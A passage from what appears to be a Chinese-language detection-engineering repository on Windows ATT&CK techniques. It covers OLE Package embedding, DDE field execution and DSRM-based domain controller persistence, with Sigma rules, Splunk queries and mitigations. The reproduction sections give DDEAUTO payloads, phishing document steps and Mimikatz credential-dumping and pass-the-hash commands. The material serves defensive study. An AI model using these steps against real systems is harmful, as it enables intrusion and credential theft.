https://www.freebuf.com/articles/network/261454.html\n   tags:\n     - attack.execution\n     - attack.lateral_movement\n     - attack.t1559.001\n     - attack.t1021.003\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       EventID:\n         - 1 # Sysmon\n         - 4688 # Windows安全日志\n       ParentImage|endswith:\n         - '\\mmc.exe'\n         - '\\excel.exe'\n         - '\\winword.exe'\n         - '\\outlook.exe'\n         - '\\explorer.exe'\n       Image|endswith:\n         - '\\cmd.exe'\n         - '\\powershell.exe'\n         - '\\calc.exe'\n     condition: selection\n   fields:\n     - CommandLine\n     - ParentCommandLine\n   falsepositives:\n     - 合法的自动化脚本\n     - 管理员运行的维护工具\n   level: high\n   ```\n\n3. **SIEM规则**：\n   - 检测COM/DCOM触发的异常进程。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 ParentImage IN (\"*\\mmc.exe\", \"*\\excel.exe\", \"*\\winword.exe\", \"*\\outlook.exe\", \"*\\explorer.exe\") Image IN (\"*\\cmd.exe\", \"*\\powershell.exe\", \"*\\calc.exe\") | stats count by Image, CommandLine, ParentImage, ComputerName, User\n     ```\n\n4. **网络流量分析**：\n   - 监控DCOM的RPC流量（端口135及动态端口）。  \n   - 示例Wireshark过滤器：\n     ```plaintext\n     tcp.port == 135 or (tcp.port >= 1024 and tcp.port <= 65535 and dcerpc)\n     ```\n\n5. **注册表监控**：\n   - 检查COM对象注册表项，识别异常或新注册的COM服务器。  \n   - 路径：`HKLM\\Software\\Classes\\CLSID` 或 `HKLM\\Software\\Classes\\AppID`。  \n\n6. **威胁情报整合**：\n   - 检查COM/DCOM触发的进程、DLL或网络连接是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御COM/DCOM的恶意使用需从权限控制、系统加固和监控入手：\n\n1. **限制DCOM权限**  \n   - 配置DCOM权限，仅允许授权用户访问特定COM对象。  \n   - 路径：`运行 > dcomcnfg > 组件服务 > 计算机 > 我的电脑 > DCOM配置`。  \n\n2. **禁用不必要的COM/DCOM**  \n   - 禁用未使用的COM对象或限制其注册。  \n\n3. **网络访问控制**  \n   - 配置防火墙，限制DCOM的RPC通信（端口135、动态端口1024-65535）。  \n\n4. **凭据保护**  \n   - 启用多因素认证（MFA）保护管理员账户。  \n   - 限制域用户对远程DCOM的访问权限。\n\n5. **日志和监控**  \n   - 启用命令行参数记录和Sysmon日志，监控COM/DCOM触发的进程和DLL加载。  \n   - 配置SIEM检测异常的COM/DCOM执行行为。  \n   - 使用EDR工具监控进程行为和注册表变化。\n\n6. **定期审计**  \n   - 使用PowerShell或工具（如COMRaider）枚举COM对象，检查异常注册。  \n\n### 检测\n\n检测工作应集中在COM/DCOM的异常执行行为上，包括但不限于：  \n- **进程行为监控**：分析Sysmon或Windows安全日志，检测由`mmc.exe`、`explorer.exe`等触发的异常子进程。  \n- **DLL加载监控**：检查COM服务器DLL的加载，识别非典型DLL。  \n- **网络流量监控**：检测DCOM的RPC通信，识别异常远程调用。  \n- **注册表监控**：检查COM对象注册表项，识别恶意注册。  \n- **威胁情报整合**：结合威胁情报，分析COM/DCOM行为是否与已知攻击活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1559.001  \n  <https://attack.mitre.org/techniques/T1559/001/>  \n- 内网渗透测试：利用DCOM进行横向渗透  \n  <https://www.freebuf.com/articles/network/261454.html>"
  },
  {
    "path": "Windows/04执行/T1559.002-Win-利用进程间通讯执行-动态数据交换-OLE.md",
    "content": "# T1559.002-Win-利用进程间通信执行-动态数据交换-OLE\n\n## 描述\n\n攻击者可能滥用Windows动态数据交换（DDE）协议通过对象链接与嵌入（OLE）技术执行任意命令（T1559.002）。DDE是一种客户端-服务器协议，用于应用程序之间的进程间通信（IPC），支持字符串、数据链接（如数据更改通知）、热数据链接（数据复制）及命令执行。OLE最初通过DDE实现文档间数据链接，尽管已被组件对象模型（COM）取代，但通过注册表配置仍可在Windows 10及Microsoft Office 2016+中启用。\n\n攻击者可通过在Microsoft Office文档中嵌入OLE对象（如“Package”对象）或注入DDE命令，触发恶意代码执行，绕过VBA宏限制。常见场景包括通过网络钓鱼分发的Office文档，诱导用户点击嵌入的OLE对象运行恶意可执行文件。DDE/OLE攻击无需直接访问命令行解释器，适合受限环境。检测重点在于识别嵌入的OLE对象、DDE域（如`DDEAUTO`）及异常的Office子进程。\n\nObject Linking and Embedding，对象连接与嵌入，简称OLE技术。OLE 不仅是桌面应用程序集成，而且还定义和实现了一种允许应用程序作为软件“对象”（数据集合和操作数据的函数）彼此进行“连接”的机制，这种连接机制和协议称为组件对象模型（COM）。OLE可以用来创建复合文档，复合文档包含了创建于不同源应用程序，有着不同类型的数据，因此它可以把文字、声音、图像、表格、应用程序等组合在一起。\n\n## 测试案例\n\n1. **通过OLE嵌入恶意文件**  \n   攻击者将恶意可执行文件嵌入Word文档的“Package”对象，诱导用户点击执行。\n\n2. **结合DDE命令执行**  \n   攻击者在Office文档中使用DDE域（如`DDEAUTO`）触发`cmd.exe`，运行恶意Payload。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含OLE/DDE触发的子进程（如`cmd.exe`或嵌入的EXE）信息（需启用命令行记录）。  \n- **事件ID 4689**：记录进程终止，用于关联进程生命周期。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含OLE/DDE触发的子进程、命令行和父进程（如`winword.exe`）信息。  \n- **事件ID 3**：记录网络连接，可能涉及恶意Payload的远程通信。  \n- **事件ID 7**：记录DLL加载，可能涉及Office加载异常DLL。  \n- **事件ID 11**：记录文件创建，可能涉及嵌入的恶意文件解包。\n\n**配置日志记录**  \n- 启用命令行参数记录：  \n  - 路径：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`（Windows Server 2008及以上）。  \n- 部署Sysmon以增强进程、DLL加载、文件和网络活动监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+，安装Microsoft Office（2016+）。  \n- **权限**：普通用户权限（OLE/DDE执行无需管理员权限）。  \n- **工具**：Microsoft Word，Sysmon及Windows安全日志启用。  \n- **文件**：准备恶意可执行文件（如`malware.exe`）。\n\n### 攻击步骤\n1. **准备恶意文件**  \n   - 将恶意文件（如`malware.exe`）放置在靶机的临时目录：  \n     ```cmd\n     %temp%\n     ```\n\n2. **创建OLE文档**  \n   - 打开Microsoft Word，创建一个新文档（`ole.docx`）。  \n   - 点击`插入 > 对象 > 对象类型 > Package`。  \n   - 在“Package”对话框中，选择`从文件`，选中`%temp%\\malware.exe`。  \n   - 修改对象标签为诱导名称（如“Click Me”）。  \n   - 保存文档为`ole.docx`。\n\n3. **分发文档**  \n   - 模拟钓鱼攻击，将`ole.docx`通过邮件或文件共享发送至靶机。\n\n4. **用户执行**  \n   - 在靶机上双击打开`ole.docx`。  \n   - 双击文档中的“Click Me”对象，Word可能弹出安全警告，点击“确定”执行。  \n   - 观察是否运行`malware.exe`。\n\n5. **验证结果**  \n   - 确认`malware.exe`是否运行。  \n   - 检查日志：  \n     - **Sysmon日志（事件ID 1）**：\n       ```plaintext\n       EventID: 1\n       Image: C:\\Users\\12306Br0\\AppData\\Local\\Temp\\malware.exe\n       CommandLine: malware.exe\n       ParentImage: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n       User: JACKMA\\12306Br0\n       IntegrityLevel: Medium\n       ```\n     - **Windows安全日志（事件ID 4688）**：\n       ```plaintext\n       EventID: 4688\n       New Process ID: 0x1234\n       New Process Name: C:\\Users\\12306Br0\\AppData\\Local\\Temp\\malware.exe\n       Process Command Line: malware.exe\n       Creator Process Name: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n       Token Elevation Type: TokenElevationTypeLimited (3)\n       ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Users\\12306Br0\\AppData\\Local\\Temp\\malware.exe\n  CommandLine: malware.exe\n  ParentImage: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n  User: JACKMA\\12306Br0\n  IntegrityLevel: Medium\n  ```\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1234\n  New Process Name: C:\\Users\\12306Br0\\AppData\\Local\\Temp\\malware.exe\n  Process Command Line: malware.exe\n  Creator Process Name: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n  Token Elevation Type: TokenElevationTypeLimited (3)\n  ```\n- **Sysmon日志（事件ID 11）**：\n  ```plaintext\n  EventID: 11\n  Image: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n  TargetFilename: C:\\Users\\12306Br0\\AppData\\Local\\Temp\\malware.exe\n  CreationUtcTime: 2025-06-07 00:05:00Z\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon、Windows安全日志和文件内容，检测OLE/DDE的异常执行行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，检测由Office应用程序（如`winword.exe`）触发的异常子进程（如`cmd.exe`或嵌入的EXE）。  \n   - 监控Sysmon事件ID 7，检查Office加载的异常DLL。  \n   - 监控Sysmon事件ID 11，检测OLE解包的恶意文件创建。  \n   - 监控Sysmon事件ID 3，检测恶意Payload的网络连接。\n\n2. **文件内容扫描**：\n   - 扫描Office文档（`.docx`、`.xlsx`）或XML文件中的`DDEAUTO`、`DDE`或`Package`关键字。  \n   - 示例PowerShell脚本：\n     ```powershell\n     Get-ChildItem -Path \"C:\\Users\\*\\Documents\" -Include *.docx,*.xlsx -Recurse | ForEach-Object { Select-String -Path $_.FullName -Pattern \"DDEAUTO|DDE|Package\" }\n     ```\n\n3. **Sigma规则**：\n   ```yaml\n   title: 可疑的OLE/DDE执行行为\n   id: 7a8b9c0d-1e2f-3c4d-5e6f-7a8b9c0d1e2f\n   status: experimental\n   description: 检测Office应用程序通过OLE/DDE触发异常子进程，可能表明恶意执行\n   references:\n     - https://attack.mitre.org/techniques/T1559/002/\n   tags:\n     - attack.execution\n     - attack.t1559.002\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       EventID:\n         - 1 # Sysmon\n         - 4688 # Windows安全日志\n       ParentImage|endswith:\n         - '\\winword.exe'\n         - '\\excel.exe'\n         - '\\powerpnt.exe'\n         - '\\outlook.exe'\n       Image|endswith:\n         - '\\cmd.exe'\n         - '\\powershell.exe'\n         - '.exe'\n     condition: selection\n   fields:\n     - CommandLine\n     - ParentCommandLine\n   falsepositives:\n     - 合法的Office嵌入对象\n     - 管理员运行的测试脚本\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测Office应用程序触发的异常子进程。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 ParentImage IN (\"*\\winword.exe\", \"*\\excel.exe\", \"*\\powerpnt.exe\", \"*\\outlook.exe\") Image IN (\"*\\cmd.exe\", \"*\\powershell.exe\", \"*.exe\") | stats count by Image, CommandLine, ParentImage, ComputerName, User\n     ```\n\n5. **威胁情报整合**：\n   - 检查OLE/DDE触发的子进程、文件或网络连接是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御OLE/DDE的恶意使用需从配置加固、权限控制和监控入手：\n\n1. **禁用DDE功能**  \n   - 在Microsoft Office中禁用DDE：  \n     - Word：`文件 > 选项 > 高级 > 常规 > 取消选中“更新自动链接”`。  \n     - 注册表配置（全局禁用DDE）：\n       ```powershell\n       Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\*\\Word\\Options\" -Name \"DontUpdateLinks\" -Value 1\n       ```\n\n2. **限制OLE对象执行**  \n   - 禁用Office文档中的嵌入对象执行：  \n     - 组策略：`用户配置 > 管理模板 > Microsoft Word > Word选项 > 安全 > 阻止嵌入对象的激活`。  \n   - 配置AppLocker，限制Office生成子进程：\n     ```plaintext\n     Path: %PROGRAMFILES%\\Microsoft Office\\root\\Office*\\WINWORD.EXE\n     Action: Allow\n     Condition: Deny Child Process Creation\n     ```\n\n3. **启用安全警告**  \n   - 确保Office提示OLE/DDE域更新或对象执行警告。  \n   - 组策略：`用户配置 > 管理模板 > Microsoft Word > Word选项 > 安全 > 自动更新链接时提示`。\n\n4. **凭据保护**  \n   - 启用多因素认证（MFA）保护用户账户。  \n   - 实施强密码策略，避免凭据泄露。\n\n5. **日志和监控**  \n   - 启用命令行参数记录和Sysmon日志，监控Office触发的子进程、DLL加载和文件创建。  \n   - 配置SIEM检测OLE/DDE相关的异常行为。  \n   - 使用EDR工具扫描Office文档中的`DDEAUTO`、`DDE`或`Package`关键字。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1559.002  \n  <https://attack.mitre.org/techniques/T1559/002/>"
  },
  {
    "path": "Windows/04执行/T1559.002-win-利用进程间通信执行-动态数据交换-DDE.md",
    "content": "# T1559.002-win-利用进程间通信执行-动态数据交换-DDE\n\n## 描述\n\n攻击者可能滥用Windows动态数据交换（DDE）协议执行任意命令（T1559.002）。DDE是Windows的进程间通信（IPC）机制，允许客户端与服务器应用程序进行一次性或持续的数据交换，支持字符串、数据链接（如数据更改通知）、热数据链接（数据复制）及命令执行。尽管DDE已被组件对象模型（COM）取代，但通过注册表配置仍可在Windows 10及Microsoft Office 2016+中启用。\n\n攻击者常通过注入DDE命令的Microsoft Office文档（直接或嵌入文件）实现恶意代码执行，绕过VBA宏限制。DDE可通过网络钓鱼或恶意Web内容传播，触发命令执行（如启动`cmd.exe`或远程加载Payload）。在无法直接访问命令行解释器的环境中，DDE提供了一种隐蔽的执行途径。检测重点在于识别DDE域（如`DDEAUTO`）及异常的Office子进程。\n\n## 测试案例\n\n1. **恶意DDE文档执行命令**  \n   攻击者通过Word文档中的DDE域执行`cmd.exe`，启动计算器或恶意Payload。\n\n2. **网络钓鱼传播DDE**  \n   攻击者通过钓鱼邮件分发含DDE命令的Office文档，诱导用户点击触发命令执行。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含DDE触发的子进程（如`cmd.exe`）信息（需启用命令行记录）。  \n- **事件ID 4689**：记录进程终止，可能用于关联进程生命周期。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含DDE触发的子进程、命令行和父进程（如`winword.exe`）信息。  \n- **事件ID 3**：记录网络连接，可能涉及DDE执行的Payload发起的远程通信。  \n- **事件ID 7**：记录DLL加载，可能涉及Office应用程序加载异常DLL。\n\n**配置日志记录**  \n- 启用命令行参数记录：  \n  - 路径：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`（Windows Server 2008及以上）。  \n- 部署Sysmon以增强进程、DLL加载和网络活动监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+，安装Microsoft Office（2016+）。  \n- **权限**：普通用户权限（DDE执行无需管理员权限）。  \n- **工具**：Microsoft Word，Sysmon及Windows安全日志启用。  \n- **文件**：创建含DDE命令的Word文档。\n\n### 攻击步骤\n1. **创建恶意DDE文档**  \n   - 打开Microsoft Word，创建一个新文档（`dde.docx`）。  \n   - 按`Ctrl + F9`插入域，输入以下DDE命令：\n     ```plaintext\n     {DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe \"/k calc.exe\"}\n     ```\n   - 保存文档为`dde.docx`。\n\n2. **分发文档**  \n   - 模拟钓鱼攻击，将`dde.docx`通过邮件或文件共享发送至靶机。\n\n3. **用户执行**  \n   - 在靶机上双击打开`dde.docx`。  \n   - Word可能弹出安全警告（如“是否更新域”），点击“是”或“确定”继续。  \n   - 观察是否弹出计算器（`calc.exe`）。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Windows\\System32\\cmd.exe\n  CommandLine: cmd.exe /k calc.exe\n  ParentImage: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n  User: JACKMA\\User\n  IntegrityLevel: Medium\n  ```\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1234\n  New Process Name: C:\\Windows\\System32\\cmd.exe\n  Process Command Line: cmd.exe /k calc.exe\n  Creator Process Name: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n  Token Elevation Type: TokenElevationTypeLimited (3)\n  ```\n- **Sysmon日志（事件ID 7，潜在DLL加载）**：\n  ```plaintext\n  EventID: 7\n  Image: C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\n  ImageLoaded: C:\\Windows\\System32\\ole32.dll\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测DDE的异常执行行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，检测由Office应用程序（如`winword.exe`）触发的异常子进程（如`cmd.exe`、`powershell.exe`）。  \n   - 监控Sysmon事件ID 7，检查Office应用程序加载的异常DLL。  \n   - 监控Sysmon事件ID 3，检测DDE执行的Payload引发的网络连接。\n\n2. **文件内容扫描**：\n   - 在Office文档（`.docx`、`.xlsx`）或开放XML文件中扫描`DDEAUTO`或`DDE`关键字。  \n   - 示例PowerShell脚本：\n     ```powershell\n     Get-Content -Path \"C:\\Users\\User\\Documents\\dde.docx\" | Select-String \"DDEAUTO|DDE\"\n     ```\n\n3. **Sigma规则**：\n   ```yaml\n   title: 可疑的DDE执行行为\n   id: 6f7a8b9c-0d1e-2f3c-4d5e-6f7a8b9c0d1e\n   status: experimental\n   description: 检测Office应用程序通过DDE触发异常子进程，可能表明恶意执行\n   references:\n     - https://attack.mitre.org/techniques/T1559/002/\n   tags:\n     - attack.execution\n     - attack.t1559.002\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       EventID:\n         - 1 # Sysmon\n         - 4688 # Windows安全日志\n       ParentImage|endswith:\n         - '\\winword.exe'\n         - '\\excel.exe'\n         - '\\powerpnt.exe'\n         - '\\outlook.exe'\n       Image|endswith:\n         - '\\cmd.exe'\n         - '\\powershell.exe'\n         - '\\calc.exe'\n     condition: selection\n   fields:\n     - CommandLine\n     - ParentCommandLine\n   falsepositives:\n     - 合法的Office自动化脚本\n     - 管理员运行的测试工具\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测Office应用程序触发的异常子进程。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 ParentImage IN (\"*\\winword.exe\", \"*\\excel.exe\", \"*\\powerpnt.exe\", \"*\\outlook.exe\") Image IN (\"*\\cmd.exe\", \"*\\powershell.exe\", \"*\\calc.exe\") | stats count by Image, CommandLine, ParentImage, ComputerName, User\n     ```\n\n5. **威胁情报整合**：\n   - 检查DDE触发的子进程或网络连接是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御DDE的恶意使用需从配置加固、权限控制和监控入手：\n\n1. **禁用DDE功能**  \n   - 在Microsoft Office中禁用DDE：  \n     - Word：`文件 > 选项 > 高级 > 常规 > 取消选中“更新自动链接”`。  \n     - 注册表配置（全局禁用DDE）：\n       ```powershell\n       Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\*\\Word\\Options\" -Name \"DontUpdateLinks\" -Value 1\n       ```\n\n2. **启用安全警告**  \n   - 确保Office提示DDE域更新警告，避免用户误点击。  \n   - 配置组策略：`用户配置 > 管理模板 > Microsoft Word > Word选项 > 高级 > 自动更新链接时提示`。\n\n3. **凭据保护**  \n   - 启用多因素认证（MFA）保护用户账户。  \n   - 实施强密码策略，避免凭据泄露。\n\n4. **日志和监控**  \n   - 启用命令行参数记录和Sysmon日志，监控Office触发的子进程和DLL加载。  \n   - 配置SIEM检测DDE相关的异常进程行为。  \n   - 使用EDR工具扫描Office文档中的`DDEAUTO`或`DDE`关键字。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1559.002  \n  <https://attack.mitre.org/techniques/T1559/002/>"
  },
  {
    "path": "Windows/05持久化/T1078.001-Win-DSRM重置密码.md",
    "content": "# T1078.001-Win-DSRM密码重置\n\n## 描述\n\n攻击者可能通过凭据访问技术（如窃取、社交工程或侦察）获取特定用户或服务账号的凭据，以获得初始访问或持久化权限（T1078.001）。在域环境中，攻击者可利用目录服务还原模式（DSRM）账户，这是一个存在于每个域控制器（DC）的本地管理员账户，用于在活动目录（AD）故障时进行恢复操作。DSRM账户密码在DC安装时设置，且通常很少变更，易成为攻击目标。\n\n攻击者可通过重置DSRM密码或利用其凭据（明文密码或NTLM哈希）以管理员身份访问DC。Windows Server 2008及以上版本支持将DSRM密码与域账户同步（需手动触发），而当注册表项`DsrmAdminLogonBehavior`设为2时，DSRM账户可通过网络登录DC，支持“哈希传递攻击”（Pass-the-Hash, PtH），实现持久化或特权提升（T1098）。由于DSRM账户本质上是DC的本地`Administrator`账户，其滥用具有高隐蔽性。\n\n检测重点在于监控DSRM密码重置事件、注册表配置更改及异常的DC登录行为。\n\n## 测试案例\n\n### 目录还原模式账户\n\n每个域控制器均包含一个DSRM账户，用于目录服务还原模式的本地管理员访问。DSRM密码在DC安装时设置，通常不定期更新。攻击者可通过以下方式利用DSRM账户：\n\n1. **重置DSRM密码**：使用`ntdsutil`工具直接更改DSRM密码。\n2. **密码同步**：将DSRM密码与域账户同步（Windows Server 2008+，需KB961320补丁）。\n3. **哈希传递攻击**：利用DSRM账户的NTLM哈希通过网络登录DC（需`DsrmAdminLogonBehavior=2`）。\n\n在Windows Server 2008 R2及2012 R2中，DSRM账户的滥用可实现持久化，即使域内所有用户和计算机密码被重置，攻击者仍能通过DSRM凭据维持DC管理员权限。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4794**：记录尝试设置DSRM管理员密码的操作。  \n- **事件ID 4624**：记录DSRM账户的登录事件（需关注本地登录，Logon Type 2）。  \n- **事件ID 4672**：记录DSRM账户的权限分配。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，可能涉及`ntdsutil.exe`或`mimikatz.exe`的执行。  \n- **事件ID 13**：记录注册表修改，如`DsrmAdminLogonBehavior`值的更改。\n\n**配置日志记录**  \n- 启用审核策略：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 帐户管理 > 审核用户帐户管理`。  \n- 部署Sysmon以监控进程、注册表和网络活动。\n\n## 测试复现\n\n### 0x00 更改DSRM账号密码\n在域控制器上以管理员权限运行以下命令：\n```dos\nNTDSUTIL\nset dsrm password\nreset password on server null\n<PASSWORD>\nQ\nQ\n```\n\n**实际测试结果**：\n```dos\nC:\\Users\\Administrator>ntdsutil\nntdsutil: set dsrm password\n重置 DSRM 管理员密码: reset password on server null\n请键入 DS 还原模式 Administrator 帐户的密码: *********\n请确认新密码: *********\n密码设置成功。\n重置 DSRM 管理员密码: Q\nntdsutil: Q\n```\n\n### 0x01 使用域帐户同步DSRM账户密码\n以域管理员身份登录DC，启动管理员权限的CMD，运行：\n```dos\nNTDSUTIL\nSET DSRM PASSWORD\nSYNC FROM DOMAIN ACCOUNT xiaomi\nQ\nQ\n```\n\n### 0x02 使用DSRM作为活动目录的后门\nDSRM账户本质上是DC的本地`Administrator`账户，攻击者可利用其凭据通过网络登录DC。步骤如下：\n1. 创建域用户（如`xiaomi`）并设置已知密码。\n2. 使用`ntdsutil`同步DSRM密码（参考0x01）。\n3. 使用Mimikatz验证DSRM账户：\n   ```dos\n   mimikatz \"sekurlsa::logonpasswords\" exit\n   ```\n\n### 0x03 使用DSRM凭证的哈希传递攻击\n当`DsrmAdminLogonBehavior=2`时，攻击者可利用DSRM账户的NTLM哈希进行PtH攻击。步骤如下：\n1. 确认注册表配置：\n   ```reg\n   HKLM\\System\\CurrentControlSet\\Control\\Lsa\\DsrmAdminLogonBehavior = 2\n   ```\n2. 使用Mimikatz执行PtH：\n   ```dos\n   mimikatz \"privilege::debug\" \"sekurlsa::pth /domain:xiaomi.org /user:administrator /ntlm:7c08d63a2f48f045971bc2236ed3f3ac\" exit\n   ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4794）**：\n  ```plaintext\n  EventID: 4794\n  Source: Microsoft-Windows-Security-Auditing\n  Description: An attempt was made to set the Directory Services Restore Mode administrator password.\n  Account Name: Administrator\n  Account Domain: JACKMA\n  ```\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Windows\\System32\\ntdsutil.exe\n  CommandLine: ntdsutil.exe\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: JACKMA\\Administrator\n  IntegrityLevel: High\n  ```\n- **Sysmon日志（事件ID 13）**：\n  ```plaintext\n  EventID: 13\n  Image: C:\\Windows\\System32\\reg.exe\n  TargetObject: HKLM\\System\\CurrentControlSet\\Control\\Lsa\\DsrmAdminLogonBehavior\n  Details: Set to DWORD 2\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Windows安全日志和Sysmon日志，检测DSRM密码重置及滥用行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控事件ID 4794，检测DSRM密码重置尝试。  \n   - 监控事件ID 4624，检测DSRM账户的异常登录（Logon Type 2，账户为`Administrator`）。  \n   - 监控Sysmon事件ID 13，检测`DsrmAdminLogonBehavior`注册表修改。  \n   - 监控Sysmon事件ID 1，检测`ntdsutil.exe`或`mimikatz.exe`的异常执行。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 目录服务还原模式（DSRM）账户密码更改或滥用\n   id: 8b9c0d1e-2f3c-4d5e-6f7a-8b9c0d1e2f3c\n   status: stable\n   description: 检测DSRM账户密码重置或异常登录，可能表明持久化或特权提升\n   references:\n     - https://attack.mitre.org/techniques/T1078/001/\n     - https://adsecurity.org/?p=1714\n     - https://www.freebuf.com/articles/system/80968.html\n   tags:\n     - attack.persistence\n     - attack.privilege_escalation\n     - attack.t1078.001\n     - attack.t1098\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection_4794:\n       EventID: 4794 # DSRM密码重置尝试\n     selection_4624:\n       EventID: 4624\n       LogonType: 2\n       AccountName: Administrator\n       WorkstationName|startswith: <DC_Name>\n     condition: selection_4794 or selection_4624\n   fields:\n     - AccountName\n     - WorkstationName\n     - LogonType\n   falsepositives:\n     - 域控制器初始安装\n     - 合法的DSRM维护操作\n   level: high\n   ```\n\n3. **Sysmon规则**：\n   ```yaml\n   title: DSRM相关进程或注册表修改\n   id: 9c0d1e2f-3c4d-5e6f-7a8b-9c0d1e2f3c4d\n   status: experimental\n   description: 检测ntdsutil.exe执行或DsrmAdminLogonBehavior注册表修改\n   author: Grok\n   date: 2025/06/07\n   logsource:\n     product: windows\n     category: process_creation\n   detection:\n     selection_process:\n       EventID: 1\n       Image|endswith: '\\ntdsutil.exe'\n     selection_registry:\n       EventID: 13\n       TargetObject|contains: '\\Control\\Lsa\\DsrmAdminLogonBehavior'\n       Details|contains: '2'\n     condition: selection_process or selection_registry\n   fields:\n     - Image\n     - CommandLine\n     - TargetObject\n   falsepositives:\n     - 管理员进行DSRM维护\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测DSRM密码重置或登录行为。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Security\" (EventCode=4794 OR (EventCode=4624 LogonType=2 AccountName=\"Administrator\")) | stats count by EventCode, AccountName, WorkstationName, ComputerName\n     ```\n\n5. **注册表监控**：\n   - 监控`HKLM\\System\\CurrentControlSet\\Control\\Lsa\\DsrmAdminLogonBehavior`的值，值为1或2时触发告警。  \n   - 示例PowerShell监控脚本：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name \"DsrmAdminLogonBehavior\" | Where-Object { $_.DsrmAdminLogonBehavior -in @(1,2) }\n     ```\n\n6. **威胁情报整合**：\n   - 检查DSRM相关事件是否与已知攻击工具（如Mimikatz）或行为模式相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御DSRM账户滥用需从权限控制、配置加固和监控入手：\n\n1. **限制DSRM账户使用**  \n   - 将`DsrmAdminLogonBehavior`设为0，禁用网络登录：  \n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name \"DsrmAdminLogonBehavior\" -Value 0\n     ```\n\n2. **定期更新DSRM密码**  \n   - 定期重置DSRM密码并存储在安全位置（如密码管理器）。  \n   - 示例脚本（需管理员权限）：\n     ```powershell\n     ntdsutil \"set dsrm password\" \"reset password on server null\" \"<NEW_PASSWORD>\" q q\n     ```\n\n3. **限制密码同步**  \n   - 避免将DSRM密码与域账户同步，除非必要。  \n   - 定期审计同步操作。\n\n4. **网络访问控制**  \n   - 限制DC的RDP和SMB访问，仅允许白名单IP。  \n   - 示例防火墙规则：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block DC RDP\" -Direction Inbound -LocalPort 3389 -Protocol TCP -Action Block\n     ```\n\n5. **凭据保护**  \n   - 启用多因素认证（MFA）保护域管理员账户。  \n   - 使用受限管理员模式（Restricted Admin Mode）减少凭据暴露。\n\n6. **日志和监控**  \n   - 